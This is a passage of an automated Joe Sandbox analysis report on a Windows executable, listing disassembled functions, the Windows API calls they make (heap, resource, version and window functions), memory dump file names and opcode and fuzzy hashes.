Part of subcall function 00409B80: HeapFree.KERNEL32(00000000,00000000,00401B6B,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00409B8C

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178

Part of subcall function 0040DF50: HeapFree.KERNEL32(02280000,00000000,00000000,?,00000000,?,00411DE4,00000000,00000000,-00000008), ref: 0040DF68

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: HeapValue$AllocateErrorFreeLast$NamePathShortwcslen
String ID:
API String ID: 192546213-0
Opcode ID: 1f36478916e75dc19802576b6717a84d5ffab4db83f33051ef68578c82d7535e
Instruction ID: 7a2999830b1481a9d7ef80217fec4737815e267699ad494388d5f61b71452053
Opcode Fuzzy Hash: 1f36478916e75dc19802576b6717a84d5ffab4db83f33051ef68578c82d7535e
Instruction Fuzzy Hash: F6012D75508201BAE5007BA1DD06D3F76A9EFD0718F10CD3EB944B50E2CA3D9C599A5E

Function 0040AA40 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040AA08,00000000,00000000,?,?,004033E8,00000000,00000000,00000800), ref: 0040AA67

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: da5ca93210413f8561433c219da2a3ea233fc89f057aa1d005b42788aa018882
Instruction ID: b59f1f917ceac4f5cea587e7357412edb8aff685aadda2d04846933fd6210d73
Opcode Fuzzy Hash: da5ca93210413f8561433c219da2a3ea233fc89f057aa1d005b42788aa018882
Instruction Fuzzy Hash: 0AF09276105700AFD720DF58D948F97BBE8EB58721F10C82EE69AD3690C770E850DB61

Function 00402BC1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402BDD

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f8bc963d6c34cd4fcee6a9003d89fae8e3dd4710dd3c612eeb78866044324f60
Instruction ID: e96e1892c4c724b03879bd5233d00e0abab71770c233aa8573b83279bd435b66
Opcode Fuzzy Hash: f8bc963d6c34cd4fcee6a9003d89fae8e3dd4710dd3c612eeb78866044324f60
Instruction Fuzzy Hash: E6D0126081824986D750BE65850979BB3ECE700304F60883AD085561C1F7BCE9D99657

Function 00409BA0 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a9125dc5e6675f3a5c8ff565d637a643d225863b8cf5efdab1d921be1d17f71e
Instruction ID: 6d87291edcf2eeb8e990bf82b01346f6326b2aefffcea0088477b931f0527044
Opcode Fuzzy Hash: a9125dc5e6675f3a5c8ff565d637a643d225863b8cf5efdab1d921be1d17f71e
Instruction Fuzzy Hash: 6EC04C717441007AD6509B24AE49F5776E9BB70702F00C4357545D15F5DB70EC50D768

Function 00409B40 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409B49

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 9eba7de511a5334458af75c1b88753425be16814361ea3c54108f6a3be7bfcb4
Instruction ID: 1bee1f37f93e9d35684b03c2e4756e6010034fad4ed660fefd81427f3766245b
Opcode Fuzzy Hash: 9eba7de511a5334458af75c1b88753425be16814361ea3c54108f6a3be7bfcb4
Instruction Fuzzy Hash: 2AB012702C43005AF2500B105C46B8039609304B43F304024B2015A1D4CBF0108045AC

Non-executed Functions

Function 004026B8 Relevance: 4.5, APIs: 3, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7

LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000), ref: 004026C9
SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004026D9

Part of subcall function 00409BA0: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1

Part of subcall function 00409C80: memcpy.MSVCRT(?,00000000,00000000,?,?,00402705,02289B68,02289B68,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000), ref: 00409C90

FreeResource.KERNEL32(?,02289B68,02289B68,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 00402708

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
String ID:
API String ID: 4216414443-0
Opcode ID: fe55d16754670a1ac2242d55fbe1307306c78159f7c22dacc8df33dc46889b7d
Instruction ID: a74944ffd3112f9905740440eb7f37d3abcacb2d1106573319e1e0e6d7d597bb
Opcode Fuzzy Hash: fe55d16754670a1ac2242d55fbe1307306c78159f7c22dacc8df33dc46889b7d
Instruction Fuzzy Hash: 13F07471818305AFDB01AF61DD0196EBEA2FB98304F01883EF484611B1DB769828AB5A

Function 0040E950 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 698COMMONLIBRARYCODE

Download Yara Rule

Strings

D@A, xrefs: 0040F0CB

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID: D@A
API String ID: 0-2037432845
Opcode ID: 82bbbdca95c55e60409104e81861719bc6b7877ec7bc15acddf14cefadc8757b
Instruction ID: 1e0778d192f5f23141dad884ed32409d8a0e2e34130d822a75cbeb00c40a84ce
Opcode Fuzzy Hash: 82bbbdca95c55e60409104e81861719bc6b7877ec7bc15acddf14cefadc8757b
Instruction Fuzzy Hash: BC428FB06047429FD714CF1AC58472ABBE1FF84304F148A3EE8589BB81D379E966CB95

Function 0040559A Relevance: 3.1, APIs: 2, Instructions: 128COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 004055BA

Part of subcall function 00405553: memset.MSVCRT ref: 00405562
Part of subcall function 00405553: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
Part of subcall function 00405553: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581

GetVersionExW.KERNEL32(?), ref: 00405619

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Version$AddressHandleModuleProcmemset
String ID:
API String ID: 3445250173-0
Opcode ID: f495203579311227c63983e5ddd909674dbe6439cabb42788c76bcb90ee03a16
Instruction ID: 9deb98d9ce9b1960b4761c85c685c0f6434d6ff4303ea967f2226934144b7de4
Opcode Fuzzy Hash: f495203579311227c63983e5ddd909674dbe6439cabb42788c76bcb90ee03a16
Instruction Fuzzy Hash: 72311F36E04E6583D6308A188C507A32294E7417A0FDA0F37EDDDB72D0D67F8D45AE8A

Function 00409930 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(004098F0,0040116F,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070,00000008), ref: 00409A6C
SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070,00000008,00000008), ref: 00409A80

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: be8703ea72731a37991eabb093e21ce865d6a3a52a87f86e162e98d40940aa29
Instruction ID: 9241775fbeca2ef236d22ba042fa6dd18ecd55e37cf60d082ab63f5987e9b773
Opcode Fuzzy Hash: be8703ea72731a37991eabb093e21ce865d6a3a52a87f86e162e98d40940aa29
Instruction Fuzzy Hash: CFE0A571208315EFC310CF10D888A867AB4B748741F02C43EA02992262EB348949DF1D

Function 0040B347 Relevance: 2.9, APIs: 1, Instructions: 1619COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000040), ref: 0040B359

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: e576844eda630fb24a4900eabb5141639e96436ababb831f4c7fee8327540495
Instruction ID: d2e712a387542d9911dc411e7765b1f2c08275ba07bac0dbf1d1b28710e8a60d
Opcode Fuzzy Hash: e576844eda630fb24a4900eabb5141639e96436ababb831f4c7fee8327540495
Instruction Fuzzy Hash: 13D23BB2B183008FC748CF29C89165AF7E2BFD8214F4A896DE545DB351DB35E846CB86

Function 0040F3C8 Relevance: 2.1, Strings: 1, Instructions: 842COMMON

Download Yara Rule

Strings

xAA, xrefs: 0040FD28

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID: xAA
API String ID: 0-1293610936
Opcode ID: 591c47f0151abaa23838d51f7b8325d4d390fbcd3a8530dac875949f81110dcc
Instruction ID: 3e0955324bacc98d649988aae549d3f33f39a3fcf449ebb2edb4fadec9577cf0
Opcode Fuzzy Hash: 591c47f0151abaa23838d51f7b8325d4d390fbcd3a8530dac875949f81110dcc
Instruction Fuzzy Hash: EF62AF71604B129FC718CF29C59066AB7E1FFC8304F144A3EE89597B80D778E919CB95

Function 00411580 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

xAA, xrefs: 00411933

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID: xAA
API String ID: 0-1293610936
Opcode ID: 44050466ff59d092c84ade225eb2428a111c67205446c9fc6f6a12c7b28f2e65
Instruction ID: 97b3e1327a1e87a4b46b26d767485ea51a150d14d874054969dc66b926ead844
Opcode Fuzzy Hash: 44050466ff59d092c84ade225eb2428a111c67205446c9fc6f6a12c7b28f2e65
Instruction Fuzzy Hash: 5FD1E6716083818FC704DF28C49026ABBE2EFD9304F188A6EE9D587752D379D94ACB55

Function 00409950 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(004011C9,004011AA,00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004), ref: 00409956

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: cf9cd527b89156cf826f8aca8c9aac0ae0f1dbb698b08308560a1dccda5bc85b
Instruction ID: bc48fdad81fd92ebd0be0b19d5c8e3ba934b166e7abd4bc921d629b17d7e6aca
Opcode Fuzzy Hash: cf9cd527b89156cf826f8aca8c9aac0ae0f1dbb698b08308560a1dccda5bc85b
Instruction Fuzzy Hash: 02B0017800422ADBDB019F10EC88BC83E72B749745F93C078E42981672EB79069EDA0C

Function 0040C898 Relevance: .7, Instructions: 674COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
Instruction ID: f4dcce38d5e2b5fea8365ab6f66f10a9b642d7e6e28dacc25e9c3ad87e991d79
Opcode Fuzzy Hash: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
Instruction Fuzzy Hash: 3512C5B3B546144BD70CCE1DCCA23A9B2D3AFD4218B0E853DB48AD3341FA7DD9198685

Function 00410600 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c460358eba1917bb56d4065ee02bd871fc6c6cc725e64d99fb649ce963d7fe5
Instruction ID: fcc74630d9e7e7a990481c7c1f867b264d0775cdb04650b32c3420698d071277
Opcode Fuzzy Hash: 7c460358eba1917bb56d4065ee02bd871fc6c6cc725e64d99fb649ce963d7fe5
Instruction Fuzzy Hash: DE81E571620E52CBE718CF1DECD06B633A3E7C9320B49C638DA418779AC539E562D794

Function 004105E0 Relevance: .2, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513e02c80492a0d3023dc35d6953037e38dfbd2ea3f16a7153b47b8225a4960d
Instruction ID: 9051c99f30e4fd58257ce4a82e5c6de57c2f1ea08b849514de36b4a9f860707a
Opcode Fuzzy Hash: 513e02c80492a0d3023dc35d6953037e38dfbd2ea3f16a7153b47b8225a4960d
Instruction Fuzzy Hash: B571C3716205424BD724CF29FCD0A7633A2FBD9311B4BC73DDA4287296C238E962D694

Function 00410910 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
Instruction ID: e7601879cae5e26ed9c4f46374459fbcb7982be31dee43e66e8e889727de3951
Opcode Fuzzy Hash: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
Instruction Fuzzy Hash: 384105736147054BF728CA28C8607EB7390AFD4304F49493FD89A87382C6F9E8C68689

Function 00410993 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
Instruction ID: c66b0092c88908efcb1f6d3c64bb4500893f1a226118266ab98ff54ab3bb9a2b
Opcode Fuzzy Hash: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
Instruction Fuzzy Hash: B631D7726547054BE728C928C8A57EB7390BF94344F49493FC88A87382C6F9E9C6C289

Function 004109D9 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
Instruction ID: 9975ed08cb8d88c562da0411d9d676463dde2a9787c448613e09b1fe69d496df
Opcode Fuzzy Hash: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
Instruction Fuzzy Hash: 0421C573754B054BE728896CC8953EB7390BFA4344F49493FC996873C1CAEAE9C5C284

Function 00408F69 Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 270windowregistrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00408E58: wcslen.MSVCRT ref: 00408E64
Part of subcall function 00408E58: HeapAlloc.KERNEL32(00000000,00000000,?,00408F81,?), ref: 00408E7A
Part of subcall function 00408E58: wcscpy.MSVCRT ref: 00408E8B

GetStockObject.GDI32(00000011), ref: 00408FB2
LoadIconW.USER32 ref: 00408FE9
LoadCursorW.USER32(00000000,00007F00), ref: 00408FF9
RegisterClassExW.USER32 ref: 00409021
IsWindowEnabled.USER32(00000000), ref: 00409048
EnableWindow.USER32(00000000), ref: 00409059
GetSystemMetrics.USER32(00000001), ref: 00409091
GetSystemMetrics.USER32(00000000), ref: 0040909E
CreateWindowExW.USER32(00000000,00000000,10C80000,-00000096,?,?,?,?,?), ref: 004090BF
SetWindowLongW.USER32(00000000,000000EB,?), ref: 004090D3
CreateWindowExW.USER32(00000000,STATIC,?,5000000B,0000000A,0000000A,00000118,00000016,00000000,00000000,00000000), ref: 00409101
SendMessageW.USER32(00000000,00000030,00000001), ref: 00409119
CreateWindowExW.USER32(00000200,EDIT,00000000,00000000,0000000A,00000020,00000113,00000015,00000000,0000000A,00000000), ref: 00409157
SendMessageW.USER32(00000000,00000030,00000001), ref: 00409169
SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409171
SendMessageW.USER32(0000000C,00000000,00000000), ref: 00409186
wcslen.MSVCRT ref: 00409189
wcslen.MSVCRT ref: 00409191
SendMessageW.USER32(000000B1,00000000,00000000), ref: 004091A3
CreateWindowExW.USER32(00000000,BUTTON,00413080,50010001,0000006E,00000043,00000050,00000019,00000000,000003E8,00000000), ref: 004091CD
SendMessageW.USER32(00000000,00000030,00000001), ref: 004091DF
CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409216
SetForegroundWindow.USER32(00000000), ref: 0040921F
BringWindowToTop.USER32(00000000), ref: 00409226
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00409239
TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 0040924A
TranslateMessage.USER32(?), ref: 00409259
DispatchMessageW.USER32(?), ref: 00409264
DestroyAcceleratorTable.USER32(00000000), ref: 00409278
wcslen.MSVCRT ref: 00409289
wcscpy.MSVCRT ref: 004092A1
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004092B4

Strings

0, xrefs: 00408FC5
BUTTON, xrefs: 004091C6
EDIT, xrefs: 0040914D
STATIC, xrefs: 004090FB
D0A, xrefs: 00409003

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

